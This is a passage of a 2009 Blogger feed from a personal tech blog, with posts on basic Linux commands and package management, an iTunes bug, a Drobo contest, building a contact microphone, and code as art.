src="http://www.youtube.com/v/pDE_m1EuLEs&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Download: &lt;a href="http://walruspeoplecrew.com/LinuxCamp1.mp3"&gt;Mp3&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;I might actually decide to name the podcast awful linux podcast.....hmmmm&lt;br /&gt;&lt;br /&gt;Lesson Plan:&lt;br /&gt;&lt;br /&gt;Going over the very basics of linux. And since this will be distrubuted in beggening hacking type places, I am going to focus on honing your linux skills with the use of nmap.&lt;br /&gt;&lt;br /&gt;Everything is a file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cd&lt;br /&gt;cd ..&lt;br /&gt;cd /root&lt;br /&gt;cd root&lt;br /&gt;ls&lt;br /&gt;cat&lt;br /&gt;less&lt;br /&gt;nmap - You will have to install&lt;br /&gt;&lt;br /&gt;grep&lt;br /&gt;grep options pattern file&lt;br /&gt;grep 'bullshit' filename&lt;br /&gt;cat filename | grep 'bullshit'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Basic Install processes&lt;br /&gt;&lt;br /&gt;Package Managment&lt;br /&gt;CentOS, Redhat, Fedora Core,(SuSe I think), etc&lt;br /&gt;yum install packageName&lt;br /&gt;&lt;br /&gt;Debian, Ubuntu, etc&lt;br /&gt;apt-get install packageName&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;cd /usr/ports/category&lt;br /&gt;make &amp;&amp; make install &amp;&amp; make install clean&lt;br /&gt;or&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;make install clean&lt;br /&gt;&lt;br /&gt;TarBalls&lt;br /&gt;All Systems&lt;br /&gt;&lt;br /&gt;gunzip tar.tar.gz&lt;br /&gt;tar -xvvf tar.tar&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;processes&lt;br /&gt;ps aux&lt;br /&gt;kill&lt;br /&gt;killall firefox-bin&lt;br /&gt;&lt;br /&gt;Text editors&lt;br /&gt;vi&lt;br /&gt;emacs&lt;br /&gt;Don't pussy out, man up&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6550852056785227325?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6550852056785227325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6550852056785227325' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6550852056785227325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6550852056785227325'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/awful-linux-podcast.html' title='Awful Linux Podcast'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-295415586457413655</id><published>2009-06-04T14:33:00.001-07:00</published><updated>2009-06-04T14:36:21.754-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wolfrum alpha'/><category scheme='http://www.blogger.com/atom/ns#' term='law and order'/><category scheme='http://www.blogger.com/atom/ns#' term='svu'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>I thought wolfrumalpha could prove to me...</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 2px #000000; }.flickr-yourcomment { }.flickr-frame { text-align: left; padding: 3px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/bsdpunkblog/3596475276/" title="photo sharing"&gt;&lt;img src="http://farm4.static.flickr.com/3640/3596475276_d1ccd1700d_o.png" class="flickr-photo" alt="" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3596475276/"&gt;I thought wolfrumalpha could prove to me...&lt;/a&gt;, originally uploaded by &lt;a href="http://www.flickr.com/people/bsdpunkblog/"&gt;bsdpunkblog&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;    &lt;p class="flickr-yourcomment"&gt; I thought wolfrumalpha could finally prove to me that they were different people. le sigh&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Choose All Sizes after clicking the picture)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-295415586457413655?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/295415586457413655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=295415586457413655' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/295415586457413655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/295415586457413655'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/i-thought-wolfrumalpha-could-prove-to.html' title='I thought wolfrumalpha could prove to me...'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6240669911177069804</id><published>2009-06-03T23:50:00.001-07:00</published><updated>2009-06-03T23:51:51.961-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ipod touch'/><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><category scheme='http://www.blogger.com/atom/ns#' term='itunes 8.2'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='itunes'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>The apple of my eye: or how much can you fuck up so quickly</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 2px #000000; }.flickr-yourcomment { }.flickr-frame { text-align: left; padding: 3px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/bsdpunkblog/3594005401/" title="photo sharing"&gt;&lt;img src="http://farm3.static.flickr.com/2437/3594005401_d621e38e3c.jpg" class="flickr-photo" alt="" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3594005401/"&gt;Why must you hurt me so&lt;/a&gt;, originally uploaded by &lt;a href="http://www.flickr.com/people/bsdpunkblog/"&gt;bsdpunkblog&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;    &lt;p class="flickr-yourcomment"&gt; I updated to iTunes 8.2, which has made my macbook unable to see my ipod touch. Now most would think, what I meant is that iTunes can't see it, however that is not the case. The computer refuses to recognize that is plugged in, in any way....unless I turn on my windows virtual machince, then install itunes on it, then it can see the device and asks me a bunch of questions about my iPod I don't want to answer(not like is it jailbroken, because it is not, but like would you like to sync your purchases), Personally I have been SEVERELY BURNT by the authorizing of iTunes accounts before so I most definitely do NOT WANT TO AUTHORIZE MY VM. It also caused a problem with an album I bought from the iTunes store today, I bought it at five and only through much fanagling did I eventually recieve it at 7. Honestly I love apple but this problem is unnaceptable...it really seems to me they do NO QA with their devices before making a release.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6240669911177069804?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6240669911177069804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6240669911177069804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6240669911177069804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6240669911177069804'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/apple-of-my-eye-or-how-much-can-you.html' title='The apple of my eye: or how much can you fuck up so quickly'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2437/3594005401_d621e38e3c_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3628689461977303383</id><published>2009-06-02T22:31:00.000-07:00</published><updated>2009-06-02T22:34:24.344-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='contest'/><category scheme='http://www.blogger.com/atom/ns#' term='hard drives'/><category scheme='http://www.blogger.com/atom/ns#' term='drobo'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Drobo video contest, win a drobo</title><content type='html'>&lt;object type="application/x-shockwave-flash" width="400" height="225" data="http://www.flickr.com/apps/video/stewart.swf?v=71377" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"&gt; &lt;param name="flashvars" value="intl_lang=en-us&amp;photo_secret=8043a89b72&amp;photo_id=3591663766"&gt;&lt;/param&gt; &lt;param name="movie" value="http://www.flickr.com/apps/video/stewart.swf?v=71377"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#000000"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/video/stewart.swf?v=71377" bgcolor="#000000" allowfullscreen="true" flashvars="intl_lang=en-us&amp;photo_secret=8043a89b72&amp;photo_id=3591663766" height="225" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;DROBO I WANT ONE&lt;br /&gt;&lt;br /&gt;Drobo is having a video contest to win a drobo. I suggest everyone enter. Here is my video, please share yours.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://drobo.com/videocontest/"&gt;http://drobo.com/videocontest/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3628689461977303383?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3628689461977303383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3628689461977303383' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3628689461977303383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3628689461977303383'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/drobo-video-contest-win-drobo.html' title='Drobo video contest, win a drobo'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3766433901200472929</id><published>2009-06-02T14:26:00.001-07:00</published><updated>2009-06-02T14:26:18.904-07:00</updated><title type='text'>Google Google get Bing</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 2px #000000; }.flickr-yourcomment { }.flickr-frame { text-align: left; padding: 3px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3589709651/" title="photo sharing"&gt;&lt;img src="http://farm4.static.flickr.com/3648/3589709651_6b151213a7.jpg" class="flickr-photo" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3589709651/"&gt;Google Google get Bing&lt;/a&gt;, originally uploaded by &lt;a href="http://www.flickr.com/people/bsdpunkblog/"&gt;bsdpunkblog&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;				&lt;p class="flickr-yourcomment"&gt;	Lol, I googled google and bing is the first result. Nice guys.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3766433901200472929?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3766433901200472929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3766433901200472929' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3766433901200472929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3766433901200472929'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/google-google-get-bing.html' title='Google Google get Bing'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3648/3589709651_6b151213a7_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3484185993559731346</id><published>2009-06-01T20:55:00.000-07:00</published><updated>2009-06-01T21:05:03.375-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='contact'/><category scheme='http://www.blogger.com/atom/ns#' term='contact mic'/><category scheme='http://www.blogger.com/atom/ns#' term='Michigan'/><category scheme='http://www.blogger.com/atom/ns#' term='microphone'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Tutorial How to make a contact mic</title><content type='html'>Why make a contact mic?&lt;br /&gt;A contact mic, will pickup vibrations on any object it is attached to. In affect making anything give off noise, or if done properly music.&lt;br /&gt;&lt;br /&gt;&lt;object type="application/x-shockwave-flash" width="400" height="225" data="http://www.flickr.com/apps/video/stewart.swf?v=71377" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"&gt; &lt;param name="flashvars" value="intl_lang=en-us&amp;photo_secret=7bf6257a91&amp;photo_id=3588169350"&gt;&lt;/param&gt; &lt;param name="movie" value="http://www.flickr.com/apps/video/stewart.swf?v=71377"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#000000"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/video/stewart.swf?v=71377" bgcolor="#000000" allowfullscreen="true" flashvars="intl_lang=en-us&amp;photo_secret=7bf6257a91&amp;photo_id=3588169350" height="225" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok to make a contact microphone you need a piezo electric disc, and a 1/8 plug, and some wire. It's best to have a piezo with wires, otherwise you need to solder one to the crystal and one to the metal. Attach those wires to the plug, and wallah a contact mic. Here are the pics and the video above.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3588052802/"&gt;&lt;img src="http://farm4.static.flickr.com/3310/3588052802_63abeab4d6.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3587241761/"&gt;&lt;img src="http://farm4.static.flickr.com/3297/3587241761_e8816051d6.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3588052018/"&gt;&lt;img src="http://farm4.static.flickr.com/3357/3588052018_b5d45e210b.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3587240951/"&gt;&lt;img src="http://farm3.static.flickr.com/2465/3587240951_2cb45874ca.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3484185993559731346?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3484185993559731346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3484185993559731346' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3484185993559731346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3484185993559731346'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/tutorial-how-to-make-contact-mic.html' title='Tutorial How to make a contact mic'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3310/3588052802_63abeab4d6_t.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5268719914758482304</id><published>2009-05-27T17:15:00.000-07:00</published><updated>2009-05-27T17:53:28.214-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='japon'/><category scheme='http://www.blogger.com/atom/ns#' term='geek pad'/><category scheme='http://www.blogger.com/atom/ns#' term='tinytox'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Japon( my dear good friend ) And TinyTox's ( Also friend ) Geek Pad</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/zgPo1X6DVqg&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/zgPo1X6DVqg&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Enjoy there pad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5268719914758482304?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5268719914758482304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5268719914758482304' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5268719914758482304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5268719914758482304'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/05/japon-my-dear-good-friend-and-tinytoxs.html' title='Japon( my dear good friend ) And TinyTox&apos;s ( Also friend ) Geek Pad'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1519534604646574559</id><published>2009-05-26T06:45:00.000-07:00</published><updated>2009-05-26T06:46:38.783-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='THE FUTURE'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='music?'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>WTF DOOOD, UPDATE THE BLAG</title><content type='html'>&lt;a href="http://www.nicolascollins.com/news.htm"&gt;&lt;img src="http://www.nicolascollins.com/Images_subfolder/sillybook2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;I haven't made a post in over a week, for those of you worried I'll tell you what I have been up to. The last two or three weekends I have felt exhausted from various events, such as getting shit faced at ren faire and throwing up, or "enjoying", the company of the girls family, so this weekend I decided to take it easy, and try to get some R&amp;R.&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3551411705/in/photostream"&gt;&lt;img src=http://farm4.static.flickr.com/3641/3551411705_3ab7fbc288.jpg /&gt;&lt;/a&gt;&lt;br /&gt; I've decided though, that I am never really going to be not exhausted and it's time to suck it up and just keep runing until I get a second wind wether it comes or not. So I won't let my time problems or tiredness problems effect the output of the blog any more....On that note, let's talk about the future of the blog. Right now my focuses have shifted to becoming obsessed with electronic music and the instruments one might use in the production of a live electronic music show. I have a planned contact Microphone tutorial coming up. As for older promises, here is where we stand:&lt;br /&gt;&lt;br /&gt;SSL Part 2(Still Coming)&lt;br /&gt;Beggining Hardware Hacking Part 2(On Hiatus)&lt;br /&gt;Drunk Python Video Tutorials(Still Coming, but changed to Drunken Ruby Video Tutorials)&lt;br /&gt;&lt;br /&gt;I am going to try to make the blog a little more arty as well, by providing at least a picture with each post. So Live Long and Prosper.&lt;br /&gt;&lt;br /&gt;Things that will make you more interested in this post:&lt;br /&gt;Using the tag "electroclash", to make a station on last.fm&lt;br /&gt;Watching the Movie "Better Living through Digital Circuitry"&lt;br /&gt;A do it yourself Syntesizer kit&lt;br /&gt;The wikipedia entry for &lt;a href="http://en.wikipedia.org/wiki/Contact_microphone"&gt;"Contact Microphone"&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1519534604646574559?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1519534604646574559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1519534604646574559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1519534604646574559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1519534604646574559'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/05/wtf-doood-update-blag.html' title='WTF DOOOD, UPDATE THE BLAG'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3641/3551411705_3ab7fbc288_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8487776888159384137</id><published>2009-05-16T17:43:00.000-07:00</published><updated>2009-05-16T17:44:40.279-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wikipedia'/><category scheme='http://www.blogger.com/atom/ns#' term='art'/><category scheme='http://www.blogger.com/atom/ns#' term='vvvv'/><category scheme='http://www.blogger.com/atom/ns#' term='John Maeda'/><category scheme='http://www.blogger.com/atom/ns#' term='alice'/><category scheme='http://www.blogger.com/atom/ns#' term='John Carmack'/><category scheme='http://www.blogger.com/atom/ns#' term='scratch'/><category scheme='http://www.blogger.com/atom/ns#' term='creative code'/><category scheme='http://www.blogger.com/atom/ns#' term='processing'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='coding'/><title type='text'>Programming as an artistic medium</title><content type='html'>What is art? Art is probably not a term, that I can successfully nail down. For the sake of this post I have choosen to use a portion of the definition from Wikipedia:&lt;br /&gt;Wikipedia says:&lt;br /&gt;Art is the process or product of deliberately arranging elements in a way that appeals to the senses or emotions. So what excludes something functional from being art. So from that I confabulate that what excludes a functional object from being art, is that the creator made something that was functional and had no intention of it, appealing to the senses or emotions of it's user.&lt;br /&gt; When I did my earlier post on &lt;a href="http://bsdpunk.blogspot.com/2008/11/virus-as-art.html"&gt;"Virus as art"&lt;/a&gt; some people disagreed that it was art. Now you may not agree that it is, but based on the definition we(I) have agreed to use in this post, it most likely is art, as the intention was there. I think a lot of people are sceptical of code as art, or the presentation it creates as art, are so because of the complexity of code, the complexity of the tool. At one point in John Maeda's book "Creative Code" (The inspiration for making this post) he writes about asking Morio Shinoda why he moved away from making kinetic sculptures, and he responed with "Because it was a bitch". I think code is not considered art, because.....well as far as making visual or sound art(see SuperCollider), it's a bitch. &lt;br /&gt; It's really interestting to see the tools that have arisen because of this problem....ie code is a bitch for art. Tools like, &lt;a href="http://processing.org"&gt;processing&lt;/a&gt;, &lt;a href="http://www.alice.org/"&gt;Alice&lt;/a&gt;, &lt;a href="http://vvvv.org/tiki-index.php"&gt;vvvv&lt;/a&gt;, and &lt;a href="http://scratch.mit.edu/"&gt;scratch&lt;/a&gt;. Just because these langauges are focused on making "art", doesn't mean that other older languages can't be considered the same.&lt;br /&gt; So some people like &lt;a href="http://en.wikipedia.org/wiki/John_D._Carmack"&gt;John Carmack&lt;/a&gt;, should be considered more than innovators but also as artists.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8487776888159384137?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8487776888159384137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8487776888159384137' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8487776888159384137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8487776888159384137'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/05/programming-as-artistic-medium.html' title='Programming as an artistic medium'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4286587811223907693</id><published>2009-05-13T10:10:00.000-07:00</published><updated>2009-05-13T10:23:02.636-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kindle dx'/><category scheme='http://www.blogger.com/atom/ns#' term='kindle 2'/><category scheme='http://www.blogger.com/atom/ns#' term='e ink'/><category scheme='http://www.blogger.com/atom/ns#' term='free books'/><category scheme='http://www.blogger.com/atom/ns#' term='Free'/><category scheme='http://www.blogger.com/atom/ns#' term='eink'/><category scheme='http://www.blogger.com/atom/ns#' term='robin hobb'/><category scheme='http://www.blogger.com/atom/ns#' term='Assassins apprentice'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>The kindle...er sort of...</title><content type='html'>The kindle has become the darling of many people's eye. So the real nerd $ell component on 